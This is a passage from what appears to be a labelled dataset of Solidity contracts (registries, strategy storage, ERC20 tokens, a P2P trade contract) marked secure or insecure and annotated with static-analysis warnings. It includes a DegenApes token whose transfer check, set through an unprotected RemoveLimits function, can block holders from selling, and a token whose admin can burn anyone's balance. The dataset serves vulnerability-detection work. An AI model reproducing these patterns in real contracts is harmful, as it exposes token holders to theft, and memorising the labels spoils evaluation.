AlreadyInWaitPeriodChangeError(_id);\n }\n\n entries[_id].changeStartTime = block.timestamp;\n entries[_id].inContractChange = true;\n\n pendingAddresses[_id] = _newContractAddr;\n\n emit StartContractChange(\n msg.sender,\n _id,\n entries[_id].contractAddr,\n _newContractAddr\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: eece62b): DFSRegistry.approveContractChange(bytes4) uses timestamp for comparisons Dangerous comparisons block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)\n\t// Recommendation for eece62b: Avoid relying on 'block.timestamp'.\n function approveContractChange(bytes4 _id) public onlyOwner {\n if (!entries[_id].exists) {\n revert EntryNonExistentError(_id);\n }\n if (!entries[_id].inContractChange) {\n revert EntryNotInChangeError(_id);\n }\n if (\n\t\t\t// timestamp | ID: eece62b\n block.timestamp <\n (entries[_id].changeStartTime + entries[_id].waitPeriod)\n ) {\n revert ChangeNotReadyError(\n block.timestamp,\n (entries[_id].changeStartTime + entries[_id].waitPeriod)\n );\n }\n\n address oldContractAddr = entries[_id].contractAddr;\n entries[_id].contractAddr = pendingAddresses[_id];\n entries[_id].inContractChange = false;\n entries[_id].changeStartTime = 0;\n\n pendingAddresses[_id] = address(0);\n previousAddresses[_id] = oldContractAddr;\n\n emit ApproveContractChange(\n msg.sender,\n _id,\n oldContractAddr,\n entries[_id].contractAddr\n );\n }\n\n function cancelContractChange(bytes4 _id) public onlyOwner {\n if (!entries[_id].exists) {\n revert EntryNonExistentError(_id);\n }\n if (!entries[_id].inContractChange) {\n revert EntryNotInChangeError(_id);\n }\n\n address oldContractAddr = pendingAddresses[_id];\n\n pendingAddresses[_id] = address(0);\n entries[_id].inContractChange = false;\n entries[_id].changeStartTime = 0;\n\n emit CancelContractChange(\n msg.sender,\n _id,\n oldContractAddr,\n entries[_id].contractAddr\n );\n }\n\n function startWaitPeriodChange(\n bytes4 _id,\n uint256 _newWaitPeriod\n ) public onlyOwner {\n if (!entries[_id].exists) {\n revert EntryNonExistentError(_id);\n }\n if (entries[_id].inContractChange) {\n revert AlreadyInContractChangeError(_id);\n }\n\n pendingWaitTimes[_id] = _newWaitPeriod;\n\n entries[_id].changeStartTime = block.timestamp;\n entries[_id].inWaitPeriodChange = true;\n\n emit StartWaitPeriodChange(msg.sender, _id, _newWaitPeriod);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 397f7b4): DFSRegistry.approveWaitPeriodChange(bytes4) uses timestamp for comparisons Dangerous comparisons block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)\n\t// Recommendation for 397f7b4: Avoid relying on 'block.timestamp'.\n function approveWaitPeriodChange(bytes4 _id) public onlyOwner {\n if (!entries[_id].exists) {\n revert EntryNonExistentError(_id);\n }\n if (!entries[_id].inWaitPeriodChange) {\n revert EntryNotInChangeError(_id);\n }\n if (\n\t\t\t// timestamp | ID: 397f7b4\n block.timestamp <\n (entries[_id].changeStartTime + entries[_id].waitPeriod)\n ) {\n revert ChangeNotReadyError(\n block.timestamp,\n (entries[_id].changeStartTime + entries[_id].waitPeriod)\n );\n }\n\n uint256 oldWaitTime = entries[_id].waitPeriod;\n entries[_id].waitPeriod = pendingWaitTimes[_id];\n\n entries[_id].inWaitPeriodChange = false;\n entries[_id].changeStartTime = 0;\n\n pendingWaitTimes[_id] = 0;\n\n emit ApproveWaitPeriodChange(\n msg.sender,\n _id,\n oldWaitTime,\n entries[_id].waitPeriod\n );\n }\n\n function cancelWaitPeriodChange(bytes4 _id) public onlyOwner {\n if (!entries[_id].exists) {\n revert EntryNonExistentError(_id);\n }\n if (!entries[_id].inWaitPeriodChange) {\n revert EntryNotInChangeError(_id);\n }\n\n uint256 oldWaitPeriod = pendingWaitTimes[_id];\n\n pendingWaitTimes[_id] = 0;\n entries[_id].inWaitPeriodChange = false;\n entries[_id].changeStartTime = 0;\n\n emit CancelWaitPeriodChange(\n msg.sender,\n _id,\n oldWaitPeriod,\n entries[_id].waitPeriod\n );\n }\n}",
"file_name": "solidity_code_2723.sol",
"secure": 0,
"size_bytes": 8038
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract StrategyModel {\n struct StrategyBundle {\n address creator;\n uint64[] strategyIds;\n }\n\n struct Strategy {\n string name;\n address creator;\n bytes4[] triggerIds;\n bytes4[] actionIds;\n uint8[][] paramMapping;\n bool continuous;\n }\n\n struct Recipe {\n string name;\n bytes[] callData;\n bytes32[] subData;\n bytes4[] actionIds;\n uint8[][] paramMapping;\n }\n\n struct StoredSubData {\n bytes20 userProxy;\n bool isEnabled;\n bytes32 strategySubHash;\n }\n\n struct StrategySub {\n uint64 strategyOrBundleId;\n bool isBundle;\n bytes[] triggerData;\n bytes32[] subData;\n }\n}",
"file_name": "solidity_code_2724.sol",
"secure": 1,
"size_bytes": 826
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./StrategyModel.sol\" as StrategyModel;\nimport \"./AdminAuth.sol\" as AdminAuth;\n\ncontract StrategyStorage is StrategyModel, AdminAuth {\n Strategy[] public strategies;\n bool public openToPublic = false;\n\n error NoAuthToCreateStrategy(address, bool);\n event StrategyCreated(uint256 indexed strategyId);\n\n modifier onlyAuthCreators() {\n if (adminVault.owner() != msg.sender && openToPublic == false) {\n revert NoAuthToCreateStrategy(msg.sender, openToPublic);\n }\n\n _;\n }\n\n function createStrategy(\n string memory _name,\n bytes4[] memory _triggerIds,\n bytes4[] memory _actionIds,\n uint8[][] memory _paramMapping,\n bool _continuous\n ) public onlyAuthCreators returns (uint256) {\n strategies.push(\n Strategy({\n name: _name,\n creator: msg.sender,\n triggerIds: _triggerIds,\n actionIds: _actionIds,\n paramMapping: _paramMapping,\n continuous: _continuous\n })\n );\n\n emit StrategyCreated(strategies.length - 1);\n\n return strategies.length - 1;\n }\n\n function changeEditPermission(bool _openToPublic) public onlyOwner {\n openToPublic = _openToPublic;\n }\n\n function getStrategy(\n uint256 _strategyId\n ) public view returns (Strategy memory) {\n return strategies[_strategyId];\n }\n function getStrategyCount() public view returns (uint256) {\n return strategies.length;\n }\n\n function getPaginatedStrategies(\n uint256 _page,\n uint256 _perPage\n ) public view returns (Strategy[] memory) {\n Strategy[] memory strategiesPerPage = new Strategy[](_perPage);\n\n uint256 start = _page * _perPage;\n uint256 end = start + _perPage;\n\n end = (end > strategies.length) ? strategies.length : end;\n\n uint256 count = 0;\n for (uint256 i = start; i < end; i++) {\n strategiesPerPage[count] = strategies[i];\n count++;\n }\n\n return strategiesPerPage;\n }\n}",
"file_name": "solidity_code_2725.sol",
"secure": 1,
"size_bytes": 2239
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MainnetCoreAddresses {\n address internal constant REGISTRY_ADDR =\n 0x287778F121F134C66212FB16c9b53eC991D32f5b;\n address internal constant PROXY_AUTH_ADDR =\n 0xD489FfAEEB46b2d7E377850d45E1F8cA3350fc82;\n address internal constant DEFISAVER_LOGGER =\n 0xcE7a977Cac4a481bc84AC06b2Da0df614e621cf3;\n\n address internal constant SUB_STORAGE_ADDR =\n 0x0a5e900E8261F826484BD96F0da564C5bB365Ffa;\n address internal constant BUNDLE_STORAGE_ADDR =\n 0x56eB74B9963BCbd6877ab4Bf8e68daBbEe13B2Bb;\n address internal constant STRATEGY_STORAGE_ADDR =\n 0xF52551F95ec4A2B4299DcC42fbbc576718Dbf933;\n}",
"file_name": "solidity_code_2726.sol",
"secure": 1,
"size_bytes": 720
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./MainnetCoreAddresses.sol\" as MainnetCoreAddresses;\n\ncontract CoreHelper is MainnetCoreAddresses {}",
"file_name": "solidity_code_2727.sol",
"secure": 1,
"size_bytes": 172
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./StrategyModel.sol\" as StrategyModel;\nimport \"./AdminAuth.sol\" as AdminAuth;\nimport \"./CoreHelper.sol\" as CoreHelper;\nimport \"./DFSRegistry.sol\" as DFSRegistry;\nimport \"./StrategyBundle.sol\" as StrategyBundle;\nimport \"./StrategyStorage.sol\" as StrategyStorage;\n\ncontract BundleStorage is StrategyModel, AdminAuth, CoreHelper {\n DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);\n\n StrategyBundle[] public bundles;\n bool public openToPublic = false;\n\n error NoAuthToCreateBundle(address, bool);\n error DiffTriggersInBundle(uint64[]);\n\n event BundleCreated(uint256 indexed bundleId);\n\n modifier onlyAuthCreators() {\n if (adminVault.owner() != msg.sender && openToPublic == false) {\n revert NoAuthToCreateBundle(msg.sender, openToPublic);\n }\n\n _;\n }\n\n modifier sameTriggers(uint64[] memory _strategyIds) {\n if (msg.sender != adminVault.owner()) {\n Strategy memory firstStrategy = StrategyStorage(\n STRATEGY_STORAGE_ADDR\n ).getStrategy(_strategyIds[0]);\n\n bytes32 firstStrategyTriggerHash = keccak256(\n abi.encode(firstStrategy.triggerIds)\n );\n\n for (uint256 i = 1; i < _strategyIds.length; ++i) {\n Strategy memory s = StrategyStorage(STRATEGY_STORAGE_ADDR)\n .getStrategy(_strategyIds[i]);\n\n if (\n firstStrategyTriggerHash !=\n keccak256(abi.encode(s.triggerIds))\n ) {\n revert DiffTriggersInBundle(_strategyIds);\n }\n }\n }\n\n _;\n }\n\n function createBundle(\n uint64[] memory _strategyIds\n ) public onlyAuthCreators sameTriggers(_strategyIds) returns (uint256) {\n bundles.push(\n StrategyBundle({creator: msg.sender, strategyIds: _strategyIds})\n );\n\n emit BundleCreated(bundles.length - 1);\n\n return bundles.length - 1;\n }\n\n function changeEditPermission(bool _openToPublic) public onlyOwner {\n openToPublic = _openToPublic;\n }\n\n function getStrategyId(\n uint256 _bundleId,\n uint256 _strategyIndex\n ) public view returns (uint256) {\n return bundles[_bundleId].strategyIds[_strategyIndex];\n }\n\n function getBundle(\n uint256 _bundleId\n ) public view returns (StrategyBundle memory) {\n return bundles[_bundleId];\n }\n function getBundleCount() public view returns (uint256) {\n return bundles.length;\n }\n\n function getPaginatedBundles(\n uint256 _page,\n uint256 _perPage\n ) public view returns (StrategyBundle[] memory) {\n StrategyBundle[] memory bundlesPerPage = new StrategyBundle[](_perPage);\n uint256 start = _page * _perPage;\n uint256 end = start + _perPage;\n\n end = (end > bundles.length) ? bundles.length : end;\n\n uint256 count = 0;\n for (uint256 i = start; i < end; i++) {\n bundlesPerPage[count] = bundles[i];\n count++;\n }\n\n return bundlesPerPage;\n }\n}",
"file_name": "solidity_code_2728.sol",
"secure": 1,
"size_bytes": 3283
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract DegenApes is ERC20Interface, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: 44fea84): DegenApes.decimals should be immutable \n\t// Recommendation for 44fea84: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: fa57b75): DegenApes._totalSupply should be immutable \n\t// Recommendation for fa57b75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n address public caAddy;\n\n constructor() {\n symbol = \"DA\";\n name = \"Degen Apes\";\n decimals = 0;\n _totalSupply = 1000000;\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 08841d1): DegenApes.RemoveLimits(address).addy lacks a zerocheck on \t caAddy = addy\n\t// Recommendation for 08841d1: Check that the address is not zero.\n function RemoveLimits(address addy) public {\n\t\t// missing-zero-check | ID: 08841d1\n caAddy = addy;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(receiver != caAddy, \"Please interract properly\");\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(msg.sender, receiver, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address sender,\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(receiver != caAddy, \"Please interract properly\");\n balances[sender] = safeSub(balances[sender], tokens);\n allowed[sender][msg.sender] = safeSub(\n allowed[sender][msg.sender],\n tokens\n );\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(sender, receiver, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_2729.sol",
"secure": 0,
"size_bytes": 3268
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Ora is ERC20, Ownable {\n constructor()\n ERC20(\"Ora\", \"ORA\")\n Ownable(0xE1647F13750486D5230A1b825A532F182Cd813f5)\n {\n _mint(\n 0xE1647F13750486D5230A1b825A532F182Cd813f5,\n 1000000000 * 10 ** decimals()\n );\n }\n}",
"file_name": "solidity_code_273.sol",
"secure": 1,
"size_bytes": 481
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is IERC20 {\n address admin;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 _decimal;\n\n constructor(string memory name_, string memory symbol_, uint8 decimal_) {\n _name = name_;\n _symbol = symbol_;\n _decimal = decimal_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n function decimals() public view virtual override returns (uint8) {\n return _decimal;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _changeAdmin(address _newaddr) internal onlyAdmin {\n admin = _newaddr;\n }\n modifier onlyAdmin() {\n require(msg.sender == admin, \" Only Admin\");\n _;\n }\n}",
"file_name": "solidity_code_2730.sol",
"secure": 1,
"size_bytes": 5929
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ZUZ is ERC20 {\n constructor() ERC20(\"ZUZ_Token\", \"ZUZ\", 12) {\n admin = msg.sender;\n _mint(admin, 20000000 * 10 ** decimals());\n }\n\n function newOwner(address _newOwner) public onlyAdmin {\n _changeAdmin(_newOwner);\n }\n\n function mint(address _account, uint256 _qty) public onlyAdmin {\n _mint(_account, _qty);\n }\n\n function burn(address _account, uint256 _qty) public onlyAdmin {\n _burn(_account, _qty);\n }\n\n function bulkTransfer(\n address[] memory _recipient,\n uint256[] memory _amount\n ) public {\n require(_recipient.length == _amount.length, \"Different array length\");\n for (uint256 i = 0; i < _recipient.length; i++) {\n transfer(_recipient[i], _amount[i]);\n }\n }\n}",
"file_name": "solidity_code_2731.sol",
"secure": 1,
"size_bytes": 947
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface INBUWETH {\n function deposit() external payable;\n function transfer(address to, uint256 value) external returns (bool);\n function withdraw(uint256) external;\n}",
"file_name": "solidity_code_2732.sol",
"secure": 1,
"size_bytes": 250
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n}",
"file_name": "solidity_code_2733.sol",
"secure": 1,
"size_bytes": 292
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./TransferHelper.sol\" as TransferHelper;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./INBU_WETH.sol\" as INBU_WETH;\nimport \"./IERC20Permit.sol\" as IERC20Permit;\n\ncontract NimbusERC20P2PV1 {\n struct Trade {\n address initiator;\n address counterparty;\n address proposedAsset;\n uint256 proposedAmount;\n address askedAsset;\n uint256 askedAmount;\n uint256 deadline;\n uint256 status;\n }\n\n enum TradeState {\n Active,\n Succeeded,\n Canceled,\n Withdrawn,\n Overdue\n }\n\n INBU_WETH public immutable NBU_WETH;\n\n uint256 public tradeCount;\n mapping(uint256 => Trade) public trades;\n mapping(address => uint256[]) private _userTrades;\n\n event NewTrade(\n address proposedAsset,\n uint256 proposedAmount,\n address askedAsset,\n uint256 askedAmount,\n uint256 deadline,\n uint256 tradeId\n );\n event SupportTrade(uint256 tradeId, address counterparty);\n event CancelTrade(uint256 tradeId);\n event WithdrawOverdueAsset(uint256 tradeId);\n\n constructor(address nbuWeth) {\n require(Address.isContract(nbuWeth), \"NimbusERC20P2P_V1: Not contract\");\n NBU_WETH = INBU_WETH(nbuWeth);\n }\n\n receive() external payable {\n assert(msg.sender == address(NBU_WETH));\n }\n\n uint256 private unlocked = 1;\n modifier lock() {\n require(unlocked == 1, \"NimbusERC20P2P_V1: locked\");\n unlocked = 0;\n _;\n unlocked = 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bc9891d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bc9891d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1c5df58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1c5df58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createTrade(\n address proposedAsset,\n uint256 proposedAmount,\n address askedAsset,\n uint256 askedAmount,\n uint256 deadline\n ) external returns (uint256 tradeId) {\n require(\n Address.isContract(proposedAsset) && Address.isContract(askedAsset),\n \"NimbusERC20P2P_V1: Not contracts\"\n );\n\t\t// reentrancy-events | ID: bc9891d\n\t\t// reentrancy-benign | ID: 1c5df58\n TransferHelper.safeTransferFrom(\n proposedAsset,\n msg.sender,\n address(this),\n proposedAmount\n );\n\t\t// reentrancy-events | ID: bc9891d\n\t\t// reentrancy-benign | ID: 1c5df58\n tradeId = _createTrade(\n proposedAsset,\n proposedAmount,\n askedAsset,\n askedAmount,\n deadline\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7780586): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7780586: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 512f50c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 512f50c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createTradeETH(\n address askedAsset,\n uint256 askedAmount,\n uint256 deadline\n ) external payable returns (uint256 tradeId) {\n require(\n Address.isContract(askedAsset),\n \"NimbusERC20P2P_V1: Not contract\"\n );\n\t\t// reentrancy-events | ID: 7780586\n\t\t// reentrancy-benign | ID: 512f50c\n NBU_WETH.deposit{value: msg.value}();\n\t\t// reentrancy-events | ID: 7780586\n\t\t// reentrancy-benign | ID: 512f50c\n tradeId = _createTrade(\n address(NBU_WETH),\n msg.value,\n askedAsset,\n askedAmount,\n deadline\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 23492c5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 23492c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b53ab7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b53ab7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createTradeWithPermit(\n address proposedAsset,\n uint256 proposedAmount,\n address askedAsset,\n uint256 askedAmount,\n uint256 deadline,\n uint256 permitDeadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 tradeId) {\n require(\n Address.isContract(proposedAsset) && Address.isContract(askedAsset),\n \"NimbusERC20P2P_V1: Not contracts\"\n );\n\t\t// reentrancy-events | ID: 23492c5\n\t\t// reentrancy-benign | ID: 0b53ab7\n IERC20Permit(proposedAsset).permit(\n msg.sender,\n address(this),\n proposedAmount,\n permitDeadline,\n v,\n r,\n s\n );\n\t\t// reentrancy-events | ID: 23492c5\n\t\t// reentrancy-benign | ID: 0b53ab7\n TransferHelper.safeTransferFrom(\n proposedAsset,\n msg.sender,\n address(this),\n proposedAmount\n );\n\t\t// reentrancy-events | ID: 23492c5\n\t\t// reentrancy-benign | ID: 0b53ab7\n tradeId = _createTrade(\n proposedAsset,\n proposedAmount,\n askedAsset,\n askedAmount,\n deadline\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 093007f): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 093007f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0e96807): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0e96807: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function supportTrade(uint256 tradeId) external lock {\n require(\n tradeCount >= tradeId && tradeId > 0,\n \"NimbusERC20P2P_V1: invalid trade id\"\n );\n Trade storage trade = trades[tradeId];\n\t\t// timestamp | ID: 093007f\n require(\n trade.status == 0 && trade.deadline > block.timestamp,\n \"NimbusERC20P2P_V1: not active trade\"\n );\n\n\t\t// reentrancy-events | ID: 0e96807\n TransferHelper.safeTransferFrom(\n trade.askedAsset,\n msg.sender,\n trade.initiator,\n trade.askedAmount\n );\n\t\t// reentrancy-events | ID: 0e96807\n _supportTrade(tradeId);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 470b2cf): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 470b2cf: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d803382): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d803382: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function supportTradeETH(uint256 tradeId) external payable lock {\n require(\n tradeCount >= tradeId && tradeId > 0,\n \"NimbusERC20P2P_V1: invalid trade id\"\n );\n Trade storage trade = trades[tradeId];\n\t\t// timestamp | ID: 470b2cf\n require(\n trade.status == 0 && trade.deadline > block.timestamp,\n \"NimbusERC20P2P_V1: not active trade\"\n );\n require(\n msg.value >= trade.askedAmount,\n \"NimbusERC20P2P_V1: Not enough ETH sent\"\n );\n require(\n trade.askedAsset == address(NBU_WETH),\n \"NimbusERC20P2P_V1: ERC20 trade\"\n );\n\n\t\t// reentrancy-events | ID: d803382\n TransferHelper.safeTransferETH(trade.initiator, trade.askedAmount);\n if (msg.value > trade.askedAmount)\n\t\t\t// reentrancy-events | ID: d803382\n TransferHelper.safeTransferETH(\n msg.sender,\n msg.value - trade.askedAmount\n );\n\t\t// reentrancy-events | ID: d803382\n _supportTrade(tradeId);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3485e6b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 3485e6b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 968ad42): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 968ad42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function supportTradeWithPermit(\n uint256 tradeId,\n uint256 permitDeadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external lock {\n require(\n tradeCount >= tradeId && tradeId > 0,\n \"NimbusERC20P2P_V1: invalid trade id\"\n );\n Trade storage trade = trades[tradeId];\n\t\t// timestamp | ID: 3485e6b\n require(\n trade.status == 0 && trade.deadline > block.timestamp,\n \"NimbusERC20P2P_V1: not active trade\"\n );\n\n\t\t// reentrancy-events | ID: 968ad42\n IERC20Permit(trade.askedAsset).permit(\n msg.sender,\n address(this),\n trade.askedAmount,\n permitDeadline,\n v,\n r,\n s\n );\n\t\t// reentrancy-events | ID: 968ad42\n TransferHelper.safeTransferFrom(\n trade.askedAsset,\n msg.sender,\n trade.initiator,\n trade.askedAmount\n );\n\t\t// reentrancy-events | ID: 968ad42\n _supportTrade(tradeId);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6412d7e): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 6412d7e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability 